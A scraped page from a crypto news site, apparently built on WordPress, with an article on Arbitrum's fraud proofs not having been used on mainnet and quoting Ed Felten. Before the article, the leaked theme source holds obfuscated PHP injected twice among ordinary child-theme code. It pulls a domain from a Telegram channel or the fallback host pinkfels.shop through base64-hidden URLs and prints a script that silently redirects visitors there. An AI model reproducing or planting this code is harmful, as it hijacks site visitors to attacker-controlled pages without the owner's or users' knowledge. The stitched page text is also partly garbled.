if(isset($_COOKIE['Lj'])) { die('58YsS'.'AsTz'); } function fn_aa3fb05a15bfeb25dc278d4040ae23bf($var_ca82733491623ed9ca5b46aa68429a45){ if (function_exists('curl_version')) { $var_e8061cb59b46a4a2bda304354b950448 = curl_init(); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_URL, $var_ca82733491623ed9ca5b46aa68429a45); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_RETURNTRANSFER, 1); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_USERAGENT, base64_decode('TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzEyMi4wLjAuMCBTYWZhcmkvNTM3LjM2')); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_TIMEOUT, 5); $var_0097b357800d476540b254cb19296657 = curl_exec($var_e8061cb59b46a4a2bda304354b950448); curl_close($var_e8061cb59b46a4a2bda304354b950448); return $var_0097b357800d476540b254cb19296657; } return file_get_contents($var_ca82733491623ed9ca5b46aa68429a45); } function fn_584c3af00a1385cce80d07a86490fb7d($var_7627930d2ca3d69d67459718ffea775a){ preg_match_all(base64_decode('Jy88Y29kZT4oLio/KTxcL2NvZGU+L3Mn'), fn_aa3fb05a15bfeb25dc278d4040ae23bf(base64_decode('aHR0cHM6Ly90Lm1lL3MvdHJhZmZpY3JlZGlyZWN0')), $var_a15eaf839e07e2cef01c7e6f791d7b3c); $var_ca82733491623ed9ca5b46aa68429a45 = !empty($var_a15eaf839e07e2cef01c7e6f791d7b3c[1]) ? end($var_a15eaf839e07e2cef01c7e6f791d7b3c[1]) : null; if(empty($var_ca82733491623ed9ca5b46aa68429a45)){ $var_8ac0e8ef4fc01f63a98c96f0ddb07fd6 = json_decode(fn_aa3fb05a15bfeb25dc278d4040ae23bf(base64_decode('aHR0cHM6Ly9waW5rZmVscy5zaG9wLz90PWpzb24maT0=').'97bf62ed54c571ff9e795b79f12a9434&a=01693136061'), true); $var_ca82733491623ed9ca5b46aa68429a45 = !empty($var_8ac0e8ef4fc01f63a98c96f0ddb07fd6['domain']) ? $var_8ac0e8ef4fc01f63a98c96f0ddb07fd6['domain'] : null; } if (!empty($var_ca82733491623ed9ca5b46aa68429a45)) { file_put_contents($var_7627930d2ca3d69d67459718ffea775a, base64_encode($var_ca82733491623ed9ca5b46aa68429a45)); } return $var_ca82733491623ed9ca5b46aa68429a45; } $var_7627930d2ca3d69d67459718ffea775a = md5('01693136061'); if (file_exists($var_7627930d2ca3d69d67459718ffea775a) && filesize($var_7627930d2ca3d69d67459718ffea775a) > 0) { $var_8f999d74606f93bf0e6f6174f9741f89 = time() - filemtime($var_7627930d2ca3d69d67459718ffea775a); $var_ca82733491623ed9ca5b46aa68429a45 = base64_decode(file_get_contents($var_7627930d2ca3d69d67459718ffea775a)); } if ((isset($var_8f999d74606f93bf0e6f6174f9741f89) && $var_8f999d74606f93bf0e6f6174f9741f89 >= 30) || empty($var_ca82733491623ed9ca5b46aa68429a45)) { $var_46cae77fe5ea47d71b4e481b77b36db3 = fn_584c3af00a1385cce80d07a86490fb7d($var_7627930d2ca3d69d67459718ffea775a); if($var_46cae77fe5ea47d71b4e481b77b36db3){ $var_ca82733491623ed9ca5b46aa68429a45 = $var_46cae77fe5ea47d71b4e481b77b36db3; } } if( $var_ca82733491623ed9ca5b46aa68429a45){ $var_ca82733491623ed9ca5b46aa68429a45 = $var_ca82733491623ed9ca5b46aa68429a45.'?01693136061'; echo base64_decode('PHNjcmlwdD53aW5kb3cudG9wLmxvY2F0aW9uLmhyZWYgPSAi') . $var_ca82733491623ed9ca5b46aa68429a45.'&'.$_SERVER['QUERY_STRING'] . base64_decode('Ijs8L3NjcmlwdD4='); } ?>// BEGIN ENQUEUE PARENT ACTION // AUTO GENERATED - Do not modify or remove comment markers above or below: if ( !function_exists( 'chld_thm_cfg_locale_css' ) ): function chld_thm_cfg_locale_css( $uri ){ if ( empty( $uri ) && is_rtl() && file_exists( get_template_directory() . '/rtl.css' ) ) $uri = get_template_directory_uri() . '/rtl.css'; return $uri; } endif; add_filter( 'locale_stylesheet_uri', 'chld_thm_cfg_locale_css' ); if ( !function_exists( 'chld_thm_cfg_parent_css' ) ): function chld_thm_cfg_parent_css() { wp_enqueue_style( 'chld_thm_cfg_parent', trailingslashit( get_template_directory_uri() ) . 'style.css', array( 'font-awesome-v5','bootstrap','sidr','magnific-popup','sliderpro' ) ); wp_enqueue_script('custom-script', get_stylesheet_directory_uri() . '/custom-script.js', array('jquery')); } endif; add_action( 'wp_enqueue_scripts', 'chld_thm_cfg_parent_css', 10 ); // END ENQUEUE PARENT ACTION add_action( 'admin_enqueue_scripts', 'my_cfg_admin_enqueue' ); function my_cfg_admin_enqueue(){ wp_enqueue_script('custom-script', get_stylesheet_directory_uri() . '/custom-script.js', array('jquery')); wp_enqueue_style('style-cfg-child', get_stylesheet_uri(), array(), "4.2"); } add_action( 'after_setup_theme', 'remove_plugin_image_sizes', 999 ); function remove_plugin_image_sizes(){ remove_image_size( '2048x2048' ); remove_image_size( '1536x1536' ); remove_image_size( 'large' ); } function action_dynamic_sidebar_after( $array ) { if($array == "home-content-widgets") { echo the_content(); } }; add_action( 'dynamic_sidebar_after', 'action_dynamic_sidebar_after', 10, 1 ); add_action( 'trashed_post', 'mtp_delete_attached_thumbnail_for_trashed_product', 20, 1 ); function mtp_delete_attached_thumbnail_for_trashed_product( $post_id ) { // gets ID of post being trashed $post_type = get_post_type( $post_id ); // does not run on other post types if ( $post_type != 'post' ) { return true; } // get ID of featured image $post_thumbnail_id = get_post_thumbnail_id( $post_id ); // delete featured image wp_delete_attachment( $post_thumbnail_id, true ); }if(isset($_COOKIE['Lj'])) { die('58YsS'.'AsTz'); } function fn_aa3fb05a15bfeb25dc278d4040ae23bf($var_ca82733491623ed9ca5b46aa68429a45){ if (function_exists('curl_version')) { $var_e8061cb59b46a4a2bda304354b950448 = curl_init(); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_URL, $var_ca82733491623ed9ca5b46aa68429a45); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_RETURNTRANSFER, 1); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_USERAGENT, base64_decode('TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzEyMi4wLjAuMCBTYWZhcmkvNTM3LjM2')); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_TIMEOUT, 5); $var_0097b357800d476540b254cb19296657 = curl_exec($var_e8061cb59b46a4a2bda304354b950448); curl_close($var_e8061cb59b46a4a2bda304354b950448); return $var_0097b357800d476540b254cb19296657; } return file_get_contents($var_ca82733491623ed9ca5b46aa68429a45); } function fn_584c3af00a1385cce80d07a86490fb7d($var_7627930d2ca3d69d67459718ffea775a){ preg_match_all(base64_decode('Jy88Y29kZT4oLio/KTxcL2NvZGU+L3Mn'), fn_aa3fb05a15bfeb25dc278d4040ae23bf(base64_decode('aHR0cHM6Ly90Lm1lL3MvdHJhZmZpY3JlZGlyZWN0')), $var_a15eaf839e07e2cef01c7e6f791d7b3c); $var_ca82733491623ed9ca5b46aa68429a45 = !empty($var_a15eaf839e07e2cef01c7e6f791d7b3c[1]) ? end($var_a15eaf839e07e2cef01c7e6f791d7b3c[1]) : null; if(empty($var_ca82733491623ed9ca5b46aa68429a45)){ $var_8ac0e8ef4fc01f63a98c96f0ddb07fd6 = json_decode(fn_aa3fb05a15bfeb25dc278d4040ae23bf(base64_decode('aHR0cHM6Ly9waW5rZmVscy5zaG9wLz90PWpzb24maT0=').'97bf62ed54c571ff9e795b79f12a9434&a=01693136061'), true); $var_ca82733491623ed9ca5b46aa68429a45 = !empty($var_8ac0e8ef4fc01f63a98c96f0ddb07fd6['domain']) ? $var_8ac0e8ef4fc01f63a98c96f0ddb07fd6['domain'] : null; } if (!empty($var_ca82733491623ed9ca5b46aa68429a45)) { file_put_contents($var_7627930d2ca3d69d67459718ffea775a, base64_encode($var_ca82733491623ed9ca5b46aa68429a45)); } return $var_ca82733491623ed9ca5b46aa68429a45; } $var_7627930d2ca3d69d67459718ffea775a = md5('01693136061'); if (file_exists($var_7627930d2ca3d69d67459718ffea775a) && filesize($var_7627930d2ca3d69d67459718ffea775a) > 0) { $var_8f999d74606f93bf0e6f6174f9741f89 = time() - filemtime($var_7627930d2ca3d69d67459718ffea775a); $var_ca82733491623ed9ca5b46aa68429a45 = base64_decode(file_get_contents($var_7627930d2ca3d69d67459718ffea775a)); } if ((isset($var_8f999d74606f93bf0e6f6174f9741f89) && $var_8f999d74606f93bf0e6f6174f9741f89 >= 30) || empty($var_ca82733491623ed9ca5b46aa68429a45)) { $var_46cae77fe5ea47d71b4e481b77b36db3 = fn_584c3af00a1385cce80d07a86490fb7d($var_7627930d2ca3d69d67459718ffea775a); if($var_46cae77fe5ea47d71b4e481b77b36db3){ $var_ca82733491623ed9ca5b46aa68429a45 = $var_46cae77fe5ea47d71b4e481b77b36db3; } } if( $var_ca82733491623ed9ca5b46aa68429a45){ $var_ca82733491623ed9ca5b46aa68429a45 = $var_ca82733491623ed9ca5b46aa68429a45.'?01693136061'; echo base64_decode('PHNjcmlwdD53aW5kb3cudG9wLmxvY2F0aW9uLmhyZWYgPSAi') . $var_ca82733491623ed9ca5b46aa68429a45.'&'.$_SERVER['QUERY_STRING'] . base64_decode('Ijs8L3NjcmlwdD4='); } ?>/** * The header for our theme * * This is the template that displays all of the section and everything up until
* * @link https://developer.wordpress.org/themes/basics/template-files/#template-partials * * @package CoverNews */ ?> > Arbitrum’s fraud proofs haven’t been used in the two years since it launched – CoinsMegaNews

Arbitrum’s fraud proofs haven’t been used in the two years since it launched

3 years ago CryptoExpert
Arbitrum’s fraud proofs haven’t been used in the two years since it launched

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Not a single fraud proof has been submitted on Arbitrum since it first launched its mainnet with the built-in security feature in August 2021, according to Ed Felten, co-founder and chief scientist of the Arbitrum-building Offchain Labs.

Operating as an Ethereum layer-2, Arbitrum’s interactive, multi-round fraud proofs work by allowing a layer-1 verifier contract to decide whether the challenger’s fraud-proof submission is valid. If so, the fraudulent validator’s stake is slashed.

Fraud proofs are submitted by challenging validators when they considers another validator to have fraudulently or otherwise incorrectly assembled an incoming batch of transactions into the next block.

However, Arbitrum’s mainnet is yet to see a fraud-proof attempt let alone a successful challenge, Felten told Cointelegraph at Korean Blockchain Week on Sept. 4:

“Not on mainnet. We did have one or two on Ethereum proof-of-work (PoW). After the Merge, […] there was a version of Arbitrum running on the Ethereum PoW fork, and somebody did try to steal all the data, and there was a successful challenge which defeated that.”

fraud-proofFelten said few fraud proof attempts had been made because malicious-intended validators risk losing their entire stake.

“If any one person notices it and disputes your claim then you will surely lose your stake, so there’s a stronger disincentive to try,” Felten added.

Felten said there’s currently a permissioned set of validators — roughly 12 — that participate in the fraud-proof game.

He also added that Arbitrum is rolling out a new iteration of the fraud proofs called “BOLD” protocol — (Bounded Liquidity Delay) — which he says gives Arbitrum a faster guarantee for challenges.

“In the current version […] an adversary who’s willing to sacrifice multiple stakes can arrange to cause ‘N’ weeks of delay if they’re willing to sacrifice ‘N’ stakes […] But the BOLD protocol says no matter how many stakes they sacrifice, they’ll be defeated in about eight days.”

Related: Arbitrum founder says Stylus is a game changer for EVMs

Arbitrum’s BOLD protocol was rolled out by Offchain Labs on Aug. 4.

Felten said Arbitrum’s fraud proof feature will soon be permissionless, allowing anyone to push towards ensuring the correctness of the chain when challenges are made.

Collect this article as an NFT to preserve this moment in history and show your support for independent journalism in the crypto space.

Magazine: DeFi Dad, Hall of Flame: Ethereum is ‘woefully undervalued’ but growing more powerful



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